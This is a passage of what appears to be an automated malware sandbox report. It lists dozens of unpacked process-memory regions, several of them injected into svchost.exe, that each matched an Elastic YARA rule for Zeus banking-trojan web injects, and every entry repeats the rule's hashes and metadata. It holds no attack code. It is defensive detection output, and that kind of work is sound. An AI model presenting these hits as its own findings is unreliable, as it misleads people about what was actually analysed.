Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.29.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.51.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.37.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.51.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.18.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.48.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.37.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.7081e8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.f380000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.22.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.18.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.27.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.24.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.26.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.7031e8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.35.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.54.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.41.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.708de8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c40000.17.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.35.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.25.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.41.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.32.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
